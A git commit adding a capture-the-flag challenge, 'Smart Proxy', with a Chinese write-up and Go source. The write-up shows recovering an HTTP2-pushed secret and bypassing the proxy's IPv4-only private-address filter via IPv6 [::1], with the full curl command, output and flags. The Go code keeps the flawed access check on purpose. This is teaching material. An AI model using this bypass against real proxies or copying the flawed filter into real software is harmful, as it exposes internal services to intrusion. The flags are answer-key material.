add smart_proxy
This commit is contained in:
@@ -1 +1,124 @@
|
||||
# 超安全的代理服务器
|
||||
|
||||
本地源代码在 (src)[./src/smart_proxy] 文件夹下。
|
||||
|
||||
## 考察内容
|
||||
|
||||
本题设计指出是为了考察 HTTP 协议的一系列应用。更具体的来说,本题需要各位选手们在答题的过程中了解如下一些内容:
|
||||
|
||||
1. HTTP2 的新特性 —— PUSH
|
||||
2. HTTP CONNECT 可以用于隧道代理
|
||||
3. 代理服务器的本地代理漏洞
|
||||
4. IPv6 协议
|
||||
|
||||
当然,为了避免不了解相关内容的同学做题时卡克,小 C 在设计本题的时候也希望尽可能充分的给足暗示,希望能够让大家稍微了解一下。
|
||||
|
||||
## 解法
|
||||
使用大部分比较新浏览器打开本题的时候,都会提示 “Notice: 我们已经向您 推送(PUSH) 了最新的 Secret ,但是你可能无法直接看到它。”,同时在帮助中心中也明确提示了“HTTP2”。只要将这两个关键词在谷歌中搜索,就可以找到大量关于 HTTP2 新特性 PUSH 的相关资料。 HTTP2 的更多资料参见 [RFC 7540](https://tools.ietf.org/html/rfc7540)。
|
||||
|
||||
### Step 1: 获取 Secret
|
||||
|
||||
简单来说,HTTP2 PUSH 特性可以使得服务器更加主动地向浏览器推送资源,使得内容加载更加灵活和快速,但是 HTTP2 PUSH 的内容通常不会直接出现在浏览器的“开发人员工具”中,因此需要更加底层的调试和查看手段。我们在这里提供了两种查看的方法:
|
||||
|
||||
### Method 1. 使用 Wireshark 抓包分析
|
||||
一种很直观的查看方式是直接抓取原始流量进行分析,但是困难在于 h2 内容 大多经过 TLS 协议加密,因此直接查看只能看到加密后的内容。解决方法是提取浏览器中的 TLS 会话秘钥,就可以进行抓包和解密了。具体细节参见:[这一篇文章](https://cloud.tencent.com/developer/article/1416948)
|
||||
|
||||
我们使用类似下面的命令可以启动浏览器并导出 TLS 秘钥,并使用 Wireshark 可以抓取到加密的 HTTP2 流量,我们观察到有 Promise Push 的内容,具体是一个 URL。我们访问这个 URL 即可得到**代理凭证 secret** 和第一个**flag**
|
||||

|
||||
|
||||
### Method 2. 使用 nghttp2 工具调试 HTTP2
|
||||
还有另一个方法是使用命令行工具 nghttp2 来调试获取 push 的内容。
|
||||
|
||||
```
|
||||
$ nghttp -sny https://146.56.228.227/
|
||||
***** Statistics *****
|
||||
|
||||
Request timing:
|
||||
responseEnd: the time when last byte of response was received
|
||||
relative to connectEnd
|
||||
requestStart: the time just before first byte of request was sent
|
||||
relative to connectEnd. If '*' is shown, this was
|
||||
pushed by server.
|
||||
process: responseEnd - requestStart
|
||||
code: HTTP status code
|
||||
size: number of bytes received as response body without
|
||||
inflation.
|
||||
URI: request URI
|
||||
|
||||
see http://www.w3.org/TR/resource-timing/#processing-model
|
||||
|
||||
sorted by 'complete'
|
||||
|
||||
id responseEnd requestStart process code size request path
|
||||
2 +11.07ms * +11.03ms 48us 200 571 /dab44e3a-6b65-4bda-a0f4-3bc1531b8a1c
|
||||
13 +11.09ms +270us 10.82ms 200 1015 /
|
||||
```
|
||||
|
||||
最终 flag1 相关的网页部分源代码如下:
|
||||
```
|
||||
<p style="color:blue;">Notice: secret: 9a33678d37 ! Please use this secret to access our proxy.(flag1: flag{d0_n0t_push_me} )</p>
|
||||
```
|
||||
|
||||
### Step 2. 入侵控制中心
|
||||
此时我们已经可以访问我们的代理服务器了。从原理上说,我们的代理服务器使用的是 HTTP CONNECT 代理,其具体原理参考 [RFC 7231](https://tools.ietf.org/html/rfc7231#section-4.3.6)。
|
||||
|
||||
有了代理服务器,我们需要访问什么内容呢?其实从题目名字“入侵管理中心”就已经告诉了我们做题的方向了。通过点击“管理中心”这个非常可疑的链接 http://127.0.0.1:8080。这告诉我们需要访问服务器内网 8080 端口上的 http 服务。
|
||||
|
||||
其实大部分代理协议(甚至包括早期的“影子袜子”软件等)都可能存在如下漏洞:代理服务器没有过滤一系列私有 IP 段,导致用户可以访问一些本机上(或者内网中)并不希望对外可访问的服务。但是我们的访问控制列表控制的还是比较严密:
|
||||
|
||||
* 全球单播地址
|
||||
* 10.0.0.0/8
|
||||
* 127.0.0.0/8
|
||||
* 172.16.0.0/12
|
||||
* 192.168.0.0/16
|
||||
|
||||
其实 IPv4 的单播地址基本都被过滤干净了,可能可以想到可以使用 IPv6 的地址来试试。IPv6 协议中,本地地址通常是 `[::1]` 这样一个地址,因此可以来试试。在连接建立成功后,提示还需要 Referer,最终加上 Referer ,即可构造 exp 并获取 **flag2**。下面给出最终执行的命令以及关键输出。
|
||||
|
||||
```
|
||||
$ curl http://\[::1\]:8080 -p -x https://146.56.228.227:443 -H "referer: https://146.56.228.227" -vvnn --proxy-insecure --proxy-header "Secret: da0d8b646b"
|
||||
|
||||
> CONNECT [::1]:8080 HTTP/1.1
|
||||
> Host: [::1]:8080
|
||||
> User-Agent: curl/7.64.1
|
||||
> Proxy-Connection: Keep-Alive
|
||||
> Secret: da0d8b646b
|
||||
...
|
||||
...
|
||||
...
|
||||
< HTTP/1.1 200 OK
|
||||
< Content-Length: 0
|
||||
...
|
||||
...
|
||||
...
|
||||
> GET / HTTP/1.1
|
||||
> Host: [::1]:8080
|
||||
> User-Agent: curl/7.64.1
|
||||
> Accept: */*
|
||||
> referer: https://146.56.228.227
|
||||
...
|
||||
...
|
||||
...
|
||||
< HTTP/1.1 200 OK
|
||||
< Date: Thu, 05 Nov 2020 11:54:21 GMT
|
||||
< Content-Length: 32
|
||||
< Content-Type: text/plain; charset=utf-8
|
||||
<
|
||||
* Connection #0 to host 146.56.228.227 left intact
|
||||
flag2: flag{c0me_1n_t4_my_h0use}
|
||||
...
|
||||
```
|
||||
|
||||
## 一些提醒
|
||||
1. IPv6 规则配置不当其实应当引起重视。小 C 自己曾经见到某服务器配置了 200 余条 IPv4 iptables 规则,却放行了全部 IPv6 流量。功亏一篑~
|
||||
2. 一些代理相关软件至今都存在类似本地代理漏洞的风险,下面是“某白话文教程”中的代码片段原文:
|
||||
```
|
||||
{
|
||||
"type": "field",
|
||||
"outboundTag": "direct",
|
||||
"ip": [
|
||||
"geoip:cn",
|
||||
"geoip:private"
|
||||
]
|
||||
}
|
||||
```
|
||||
3. 为了防止一些浏览器能够通过调试控制台得到 secret,小 C 曾经测试了 IE、旧 Edge、新 Edge、Chrome、Firefox、Safari 等主流桌面级浏览器。如果有同学知道有什么浏览器可以直接调试 http2的,可以告诉小 C。**(黑曜石浏览器除外)**
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 939 KiB |
Vendored
BIN
Binary file not shown.
BIN
Binary file not shown.
@@ -0,0 +1,13 @@
|
||||
build:
|
||||
clean
|
||||
go build -o build/ssv .
|
||||
|
||||
clean:
|
||||
rm -f build/ssv*
|
||||
|
||||
darwin:
|
||||
CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build -o build/ssv .
|
||||
linux:
|
||||
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o build/ssv-linux .
|
||||
|
||||
all: clean darwin linux
|
||||
@@ -0,0 +1,66 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"log"
|
||||
"net/http"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func basicAuth(r *http.Request) (username, password string, ok bool) {
|
||||
auth := r.Header.Get("Authorization")
|
||||
if auth == "" {
|
||||
if r.URL.User.Username() != "" {
|
||||
user := r.URL.User.Username()
|
||||
pass, isPass := r.URL.User.Password()
|
||||
if isPass {
|
||||
return user, pass, true
|
||||
}
|
||||
return user, "", true
|
||||
}
|
||||
return
|
||||
}
|
||||
return parseBasicAuth(auth)
|
||||
}
|
||||
|
||||
func parseBasicAuth(auth string) (username, password string, ok bool) {
|
||||
const prefix = "Basic "
|
||||
// Case insensitive prefix match. See Issue 22736.
|
||||
if len(auth) < len(prefix) || !strings.EqualFold(auth[:len(prefix)], prefix) {
|
||||
return
|
||||
}
|
||||
c, err := base64.StdEncoding.DecodeString(auth[len(prefix):])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
cs := string(c)
|
||||
s := strings.IndexByte(cs, ':')
|
||||
if s < 0 {
|
||||
return
|
||||
}
|
||||
return cs[:s], cs[s+1:], true
|
||||
}
|
||||
|
||||
func basicAuthHandle(w http.ResponseWriter, req *http.Request) bool {
|
||||
|
||||
if *usernameFlag == "" && *passwordFlag == "" {
|
||||
// pass basic auth check
|
||||
return true
|
||||
}
|
||||
|
||||
username, password, ok := basicAuth(req)
|
||||
if !ok {
|
||||
w.Header().Set("WWW-Authenticate", `Basic realm="Restricted"`)
|
||||
w.WriteHeader(http.StatusUnauthorized)
|
||||
return false
|
||||
}
|
||||
|
||||
if username == *usernameFlag && password == *passwordFlag {
|
||||
return true
|
||||
}
|
||||
|
||||
log.Println("invaild username and password:", username, password)
|
||||
w.Header().Set("WWW-Authenticate", `Basic realm="Restricted"`)
|
||||
w.WriteHeader(http.StatusUnauthorized)
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
package main
|
||||
|
||||
const (
|
||||
flag1 = "flag{d0_n0t_push_me}"
|
||||
flag2 = "flag{c0me_1n_t4_my_h0use}"
|
||||
)
|
||||
@@ -0,0 +1,8 @@
|
||||
module strange_server
|
||||
|
||||
go 1.14
|
||||
|
||||
require (
|
||||
github.com/satori/go.uuid v1.2.0
|
||||
golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de
|
||||
)
|
||||
@@ -0,0 +1,11 @@
|
||||
github.com/satori/go.uuid v1.2.0 h1:0uYX9dsZ2yD7q2RtLRtPSdGDWzjeM3TbMJP9utgA0ww=
|
||||
github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de h1:ikNHVSjEfnvz6sxdSPCaPt572qowuyMDMJLLm3Db3ig=
|
||||
golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3 h1:0GoQqolDA55aaLxZyTzK/Y2ePZzZTUrRacwib7cNsYQ=
|
||||
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
@@ -0,0 +1,97 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"log"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const (
|
||||
internalListenAddr = ":8080"
|
||||
internalLocalHost = "127.0.0.1"
|
||||
)
|
||||
|
||||
var (
|
||||
internalPublicError = []byte("管理中心无法从公网直接访问")
|
||||
internalFromError = []byte("管理中心需要从 '" + *hostFlag + "' 被访问(Referer)")
|
||||
internalMethodError = []byte("管理中心不允许该 HTTP 方法(Method)")
|
||||
internalNotFoundError = []byte("无法找到请求的页面")
|
||||
internnalTokenError = []byte("Missing 'token': you must 'GET' your flag with your Hackergame Token")
|
||||
)
|
||||
|
||||
type internalServer struct{}
|
||||
|
||||
func (s *internalServer) ServeHTTP(w http.ResponseWriter, req *http.Request) {
|
||||
remoteHost, _, err := net.SplitHostPort(req.RemoteAddr)
|
||||
if err != nil {
|
||||
remoteHost = req.RemoteAddr
|
||||
}
|
||||
|
||||
if *debugFlag {
|
||||
log.Println("[internal] request from", remoteHost, "to", req.Method, req.URL)
|
||||
}
|
||||
|
||||
if remoteHost != "localhost" && remoteHost != "127.0.0.1" && remoteHost != "::1" {
|
||||
w.WriteHeader(http.StatusForbidden)
|
||||
w.Write(internalPublicError)
|
||||
return
|
||||
}
|
||||
|
||||
referer := req.Header.Get("Referer")
|
||||
if !strings.Contains(referer, *hostFlag) {
|
||||
w.WriteHeader(http.StatusForbidden)
|
||||
w.Write([]byte("管理中心需要从 '" + *hostFlag + "' 被访问(Referer)"))
|
||||
return
|
||||
}
|
||||
|
||||
if req.Method != http.MethodGet {
|
||||
w.WriteHeader(http.StatusMethodNotAllowed)
|
||||
w.Write(internalMethodError)
|
||||
return
|
||||
}
|
||||
|
||||
if req.URL.Path != "/" {
|
||||
w.WriteHeader(http.StatusNotFound)
|
||||
w.Write(internalNotFoundError)
|
||||
return
|
||||
}
|
||||
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("flag2: "+flag2))
|
||||
|
||||
// v := req.URL.Query()
|
||||
// token := v.Get("token")
|
||||
// if token == "" {
|
||||
// w.WriteHeader(http.StatusOK)
|
||||
// w.Write(internnalTokenError)
|
||||
// return
|
||||
// }
|
||||
// w.WriteHeader(http.StatusOK)
|
||||
// w.Write(getFlag(token))
|
||||
}
|
||||
|
||||
func internalServerRun() {
|
||||
addr := *innerFlag
|
||||
if addr == "" {
|
||||
addr = internalListenAddr
|
||||
}
|
||||
log.Println("[server] internal server listen at", addr)
|
||||
err := http.ListenAndServe(addr, &internalServer{})
|
||||
if err != nil {
|
||||
log.Fatalln("[server] internal server error: ", err)
|
||||
}
|
||||
}
|
||||
|
||||
func getFlag(token string) []byte {
|
||||
|
||||
return []byte(flag2)
|
||||
// h := md5.New()
|
||||
// mT := h.Sum([]byte(token))
|
||||
|
||||
// dst := make([]byte, hex.EncodedLen(len(mT)))
|
||||
// hex.Encode(dst, mT)
|
||||
|
||||
// flag := "flag{http_is_amazing_" + string(dst[:5]) + string(dst[len(dst)-5:]) + "}"
|
||||
// return []byte(flag)
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"log"
|
||||
)
|
||||
|
||||
var (
|
||||
addrFlag = flag.String("listen", ":https", "server listen address")
|
||||
innerFlag = flag.String("inner", ":8080", "internal server address")
|
||||
hostFlag = flag.String("host", "127.0.0.1", "server host name")
|
||||
certFlag = flag.String("cert", "", "TLS certificate")
|
||||
keyFlag = flag.String("key", "", "TLS private key")
|
||||
debugFlag = flag.Bool("debug", true, "enable debug mode")
|
||||
|
||||
usernameFlag = flag.String("username", "", "username for basic auth")
|
||||
passwordFlag = flag.String("password", "", "password for basic auth")
|
||||
)
|
||||
|
||||
func logInit() {
|
||||
if *debugFlag {
|
||||
log.SetFlags(log.LstdFlags | log.Lshortfile | log.Lmsgprefix)
|
||||
log.SetPrefix("[debug]")
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
flag.Parse() // CLI parse
|
||||
logInit() // log innitial
|
||||
|
||||
go internalServerRun()
|
||||
publicServerRun() // start server
|
||||
}
|
||||
@@ -0,0 +1,154 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"html/template"
|
||||
"log"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func proxyErrorHandle(w http.ResponseWriter, req *http.Request, code int, err error) {
|
||||
tmpl, _ := template.New("index").Parse(tmplStr)
|
||||
msg := tplMsg{}
|
||||
if err != nil {
|
||||
if *debugFlag {
|
||||
log.Println("[proxy]", err)
|
||||
}
|
||||
msg.Err = template.HTML(err.Error())
|
||||
}
|
||||
w.WriteHeader(code)
|
||||
tmpl.Execute(w, msg)
|
||||
}
|
||||
|
||||
func proxyHandle(w http.ResponseWriter, req *http.Request) {
|
||||
|
||||
hostPort := req.URL.Host
|
||||
if hostPort == "" {
|
||||
hostPort = req.Host
|
||||
}
|
||||
host, port, err := net.SplitHostPort(hostPort)
|
||||
if err != nil {
|
||||
err = errors.New("[proxy] HTTP 代理请求格式错误")
|
||||
proxyErrorHandle(w, req, http.StatusBadGateway, err)
|
||||
return
|
||||
}
|
||||
|
||||
secrestReq := req.Header.Get("Secret")
|
||||
if secrestReq != secretText {
|
||||
err = errors.New("[proxy] Secret 不正确")
|
||||
proxyErrorHandle(w, req, http.StatusForbidden, err)
|
||||
return
|
||||
}
|
||||
|
||||
// Allow List check
|
||||
ret := aclCheck(host, port)
|
||||
if ret != true {
|
||||
err = fmt.Errorf("[proxy] 代理请求 %v:%v 不被访问控制列表所允许", host, port)
|
||||
proxyErrorHandle(w, req, http.StatusForbidden, err)
|
||||
return
|
||||
}
|
||||
|
||||
// outbound
|
||||
outbound, err := net.DialTimeout("tcp", hostPort, 10*time.Second)
|
||||
if err != nil {
|
||||
err = errors.New("[gateway] 无法建立到 " + hostPort + " 的连接")
|
||||
proxyErrorHandle(w, req, 502, err)
|
||||
return
|
||||
}
|
||||
defer outbound.Close()
|
||||
|
||||
// // Return 200
|
||||
wFlusher, ok := w.(http.Flusher)
|
||||
if !ok {
|
||||
err = errors.New("[gateway] flusher 不被支持! 请联系比赛组织方。错误码 0x03")
|
||||
proxyErrorHandle(w, req, 500, err)
|
||||
return
|
||||
}
|
||||
|
||||
switch req.ProtoMajor {
|
||||
case 1:
|
||||
hijacker, ok := w.(http.Hijacker)
|
||||
if !ok {
|
||||
proxyErrorHandle(w, req, http.StatusInternalServerError, errors.New("内部错误,请联系比赛组织方!错误码 0x01"))
|
||||
return
|
||||
}
|
||||
clientConn, bufReader, err := hijacker.Hijack()
|
||||
if err != nil {
|
||||
proxyErrorHandle(w, req, http.StatusInternalServerError, errors.New("内部错误,请联系比赛组织方!错误码 0x02"))
|
||||
return
|
||||
}
|
||||
defer clientConn.Close()
|
||||
|
||||
if bufReader != nil {
|
||||
// snippet borrowed from `proxy` plugin
|
||||
if n := bufReader.Reader.Buffered(); n > 0 {
|
||||
rbuf, err := bufReader.Reader.Peek(n)
|
||||
if err != nil {
|
||||
proxyErrorHandle(w, req, http.StatusInternalServerError, errors.New("隧道错误"))
|
||||
return
|
||||
}
|
||||
outbound.Write(rbuf)
|
||||
}
|
||||
}
|
||||
|
||||
res := &http.Response{StatusCode: http.StatusOK,
|
||||
Proto: "HTTP/1.1",
|
||||
ProtoMajor: 1,
|
||||
ProtoMinor: 1,
|
||||
Header: make(http.Header),
|
||||
}
|
||||
res.Write(clientConn)
|
||||
|
||||
dualStream(outbound, clientConn, clientConn)
|
||||
case 2:
|
||||
defer req.Body.Close()
|
||||
w.WriteHeader(200)
|
||||
wFlusher.Flush()
|
||||
dualStream(outbound, req.Body, w)
|
||||
default:
|
||||
proxyErrorHandle(w, req, http.StatusHTTPVersionNotSupported, errors.New(" HTTP 协议版本出错"))
|
||||
}
|
||||
}
|
||||
|
||||
var wl = []string{"ustc.edu.cn", "www.ustc.edu.cn"}
|
||||
|
||||
func aclCheck(host, port string) bool {
|
||||
|
||||
// _, inport, err := net.SplitHostPort(*innerFlag)
|
||||
// if err != nil {
|
||||
// inport = "8080"
|
||||
// }
|
||||
|
||||
// if port != "80" && port != "443" && port != inport {
|
||||
// log.Println(1)
|
||||
// return false
|
||||
// }
|
||||
|
||||
for _, w := range wl {
|
||||
if strings.Contains(host, w) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
ip := net.ParseIP(host)
|
||||
log.Println(ip)
|
||||
if ip != nil {
|
||||
if ip.IsGlobalUnicast() {
|
||||
return false
|
||||
}
|
||||
if ip4 := ip.To4(); ip4 != nil {
|
||||
if ip4[0] == 192 && ip4[1] == 168 {
|
||||
return false
|
||||
}
|
||||
if ip4[0] == 127 || ip4[0] == 10 || ip4[0] == 172 {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"time"
|
||||
)
|
||||
|
||||
var qosTable = make(map[string]int)
|
||||
|
||||
const (
|
||||
maxPerPeriod = 1
|
||||
period = 1 * time.Second
|
||||
)
|
||||
|
||||
func init() {
|
||||
go qosClear()
|
||||
}
|
||||
|
||||
func qosClear() {
|
||||
tr := time.NewTicker(period)
|
||||
defer tr.Stop()
|
||||
|
||||
for {
|
||||
<-tr.C
|
||||
qosTable = make(map[string]int)
|
||||
}
|
||||
}
|
||||
|
||||
func qosAdd(ip string) {
|
||||
qosTable[ip]++
|
||||
}
|
||||
|
||||
func qosCheck(ip string) bool {
|
||||
c, ok := qosTable[ip]
|
||||
if !ok {
|
||||
return true
|
||||
}
|
||||
return c <= maxPerPeriod
|
||||
}
|
||||
@@ -0,0 +1,163 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"html/template"
|
||||
"log"
|
||||
"net"
|
||||
"net/http"
|
||||
|
||||
"golang.org/x/crypto/acme/autocert"
|
||||
)
|
||||
|
||||
type proxyServer struct{}
|
||||
|
||||
func (s *proxyServer) ServeHTTP(w http.ResponseWriter, req *http.Request) {
|
||||
indexHandle(w, req)
|
||||
}
|
||||
|
||||
func publicServerRun() {
|
||||
|
||||
go flashUUID()
|
||||
|
||||
poolInit()
|
||||
log.Printf("[server] listen to: %v sni:%v", *addrFlag, *hostFlag)
|
||||
|
||||
var err error
|
||||
s := &http.Server{
|
||||
Addr: *addrFlag,
|
||||
Handler: &proxyServer{},
|
||||
}
|
||||
|
||||
if *certFlag == "" || *keyFlag == "" {
|
||||
m := &autocert.Manager{
|
||||
Cache: autocert.DirCache("cert"),
|
||||
Prompt: autocert.AcceptTOS,
|
||||
HostPolicy: autocert.HostWhitelist(*hostFlag),
|
||||
}
|
||||
s.TLSConfig = m.TLSConfig()
|
||||
go http.ListenAndServe(":http", m.HTTPHandler(nil))
|
||||
|
||||
err = s.ListenAndServeTLS("", "")
|
||||
} else {
|
||||
err = s.ListenAndServeTLS(*certFlag, *keyFlag)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
log.Fatalln("[server] start server error: ", err)
|
||||
}
|
||||
}
|
||||
|
||||
func indexHandle(w http.ResponseWriter, req *http.Request) {
|
||||
|
||||
// basic auth for check
|
||||
if !basicAuthHandle(w, req) {
|
||||
return
|
||||
}
|
||||
|
||||
tmpl, _ := template.New("index").Parse(tmplStr)
|
||||
msg := tplMsg{
|
||||
Body: indexStr,
|
||||
Inner: template.HTML(*innerFlag),
|
||||
}
|
||||
|
||||
if *debugFlag {
|
||||
log.Printf("[client] from:%v Method:%v Host:%v URL:%v\n", req.RemoteAddr, req.Method, req.Host, req.URL)
|
||||
}
|
||||
|
||||
// route
|
||||
if req.Method == http.MethodConnect {
|
||||
// Do not pass limitations
|
||||
remoteHost, _, err := net.SplitHostPort(req.RemoteAddr)
|
||||
if err != nil {
|
||||
remoteHost = req.RemoteAddr
|
||||
}
|
||||
if !qosCheck(remoteHost) {
|
||||
log.Println("[proxy] reached the maximum number of proxy connections.")
|
||||
w.WriteHeader(http.StatusTooManyRequests)
|
||||
msg.Err = maxRequestErrorStr
|
||||
tmpl.Execute(w, msg)
|
||||
return
|
||||
}
|
||||
qosAdd(remoteHost)
|
||||
proxyHandle(w, req)
|
||||
return
|
||||
}
|
||||
|
||||
// protocol check
|
||||
if req.ProtoMajor != 2 {
|
||||
log.Println("[http2] use HTTP/1.1 or below, quit!")
|
||||
w.WriteHeader(http.StatusHTTPVersionNotSupported)
|
||||
msg.Err = versionErrorStr
|
||||
tmpl.Execute(w, msg)
|
||||
return
|
||||
}
|
||||
|
||||
switch req.URL.Path {
|
||||
case secureURL:
|
||||
secureHandle(w, req)
|
||||
return
|
||||
case "/help":
|
||||
helpHandle(w, req)
|
||||
return
|
||||
case "/admin":
|
||||
adminHandle(w, req)
|
||||
return
|
||||
}
|
||||
if req.URL.Path != "" && req.URL.Path != "/" {
|
||||
notFoundHandle(w, req)
|
||||
return
|
||||
}
|
||||
|
||||
pusher, ok := w.(http.Pusher)
|
||||
if !ok {
|
||||
log.Println("[http2] Pusher initial error!")
|
||||
w.WriteHeader(http.StatusInternalServerError)
|
||||
msg.Err = versionErrorStr
|
||||
tmpl.Execute(w, msg)
|
||||
return
|
||||
}
|
||||
|
||||
// Push
|
||||
options := &http.PushOptions{
|
||||
Header: http.Header{},
|
||||
}
|
||||
if err := pusher.Push(secureURL, options); err != nil {
|
||||
log.Println("Failed to push: ", err)
|
||||
w.WriteHeader(http.StatusInternalServerError)
|
||||
msg.Err = pushErrorStr
|
||||
tmpl.Execute(w, msg)
|
||||
return
|
||||
}
|
||||
|
||||
msg.Msg = pushSuccStr
|
||||
tmpl.Execute(w, msg)
|
||||
}
|
||||
|
||||
func secureHandle(w http.ResponseWriter, req *http.Request) {
|
||||
tmpl, _ := template.New("index").Parse(tmplStr)
|
||||
msg := tplMsg{}
|
||||
|
||||
rawMsg := "secret: " + secretText + " ! Please use this secret to access our proxy.(flag1: "+flag1+" )"
|
||||
msg.Msg = template.HTML(rawMsg)
|
||||
tmpl.Execute(w, msg)
|
||||
}
|
||||
|
||||
func helpHandle(w http.ResponseWriter, req *http.Request) {
|
||||
tmpl, _ := template.New("help").Parse(tmplStr)
|
||||
msg := tplMsg{}
|
||||
msg.Body = helpStr
|
||||
tmpl.Execute(w, msg)
|
||||
}
|
||||
|
||||
func adminHandle(w http.ResponseWriter, req *http.Request) {
|
||||
w.WriteHeader(http.StatusBadGateway)
|
||||
w.Write([]byte(adminStr))
|
||||
}
|
||||
|
||||
func notFoundHandle(w http.ResponseWriter, req *http.Request) {
|
||||
tmpl, _ := template.New("help").Parse(tmplStr)
|
||||
w.WriteHeader(http.StatusNotFound)
|
||||
msg := tplMsg{}
|
||||
msg.Err = template.HTML("Page Not Found: " + req.URL.Path)
|
||||
tmpl.Execute(w, msg)
|
||||
}
|
||||
@@ -0,0 +1,88 @@
|
||||
package main
|
||||
|
||||
import "html/template"
|
||||
|
||||
const (
|
||||
tmplStr = `<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|
||||
<title>Smart Proxy!</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<center><h1>Smart Proxy!</h1></center>
|
||||
<hr>
|
||||
{{with .Err}}
|
||||
<p style="color:red;">Error: {{.}}</p>
|
||||
{{end}}
|
||||
{{with .Msg}}
|
||||
<p style="color:blue;">Notice: {{.}}</p>
|
||||
{{end}}
|
||||
|
||||
{{.Body}}
|
||||
|
||||
<hr style="margin-top: 50px">
|
||||
<footer>
|
||||
<p>Serve with honor. Smart Proxy, 2020.</p>
|
||||
<a href="/">主页</a>
|
||||
<a href="/help">帮助</a>
|
||||
<a href="http://127.0.0.1{{.Inner}}" referrerpolicy="origin">管理中心</a>
|
||||
</footer>
|
||||
</body>
|
||||
</html>
|
||||
`
|
||||
|
||||
indexStr = `<p>我们提供了一个代理服务器,用于访问科大主页( www.ustc.edu.cn )。只有拥有 <strong>secret</strong> 的人才是我们尊贵的客人,才能访问我们的服务。 </p>
|
||||
<p>为了获取更多帮助, 你可以访问 <a href="/help">帮助中心</a> </p>
|
||||
<p style="display: none"> 一周工作 72 小时的美工上周住进了 ICU,界面难看也先凑合着用吧 </p>`
|
||||
|
||||
helpStr = ` <p> Smart Proxy 是一个基于 HTTP2 协议的超级代理服务器。</p>
|
||||
<p> 1. 我们的服务只提供基于 <strong>CONNECT</strong> 的代理(欲知详情,请访问 <a href="https://tools.ietf.org/html/rfc7231#section-4.3.6">RFC 7231</a>) </p>
|
||||
<p> 2. 另外,你需要在你的 HTTP 请求头标中加入 <strong>Secret</strong> 来作为身份凭证, 例如:</p>
|
||||
<code>
|
||||
Secret: [your secret here]
|
||||
</code>
|
||||
<p> 请注意 <strong>Secret</strong> 只有 60 秒有效期。</p>
|
||||
<p> 3. 我们使用一个访问控制列表来检查您的访问请求。只有匹配如下域名的请求,才会被代理:</p>
|
||||
|
||||
<ul>
|
||||
<li>ustc.edu.cn</li>
|
||||
<li>www.ustc.edu.cn</li>
|
||||
</ul>
|
||||
|
||||
在黑名单中的 IP 是无法被代理的:
|
||||
<ul>
|
||||
<li>全球单播地址</li>
|
||||
<li>10.0.0.0/8</li>
|
||||
<li>127.0.0.0/8</li>
|
||||
<li>172.16.0.0/12</li>
|
||||
<li>192.168.0.0/16</li>
|
||||
</ul>
|
||||
`
|
||||
|
||||
adminStr = `<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|
||||
<title>Smart Proxy!</title>
|
||||
</head>
|
||||
<body>
|
||||
<p>无法连接到管理中心: <strong>http://127.0.0.1:8080</strong> 无法从公网被访问。</p>
|
||||
</body>
|
||||
</html>
|
||||
`
|
||||
|
||||
adminErrorStr = "无法连接到管理中心: <strong>http://127.0.0.1:8080</strong> 无法从公网被访问。"
|
||||
versionErrorStr = "为了更好的提供服务器, 请使用最新的 <strong>HTTP2</strong> 协议。"
|
||||
pushErrorStr = "我们无法向您 <strong>推送(PUSH)</strong> 最新的 <strong>Secret</strong>. 请使用如下浏览器以便于我们给你推送一些消息: Chrome, Firefox, Safari, Microsoft Edge."
|
||||
pushSuccStr = "我们已经向您 <strong>推送(PUSH)</strong> 了最新的 <strong>Secret</strong> ,但是你可能无法直接看到它。"
|
||||
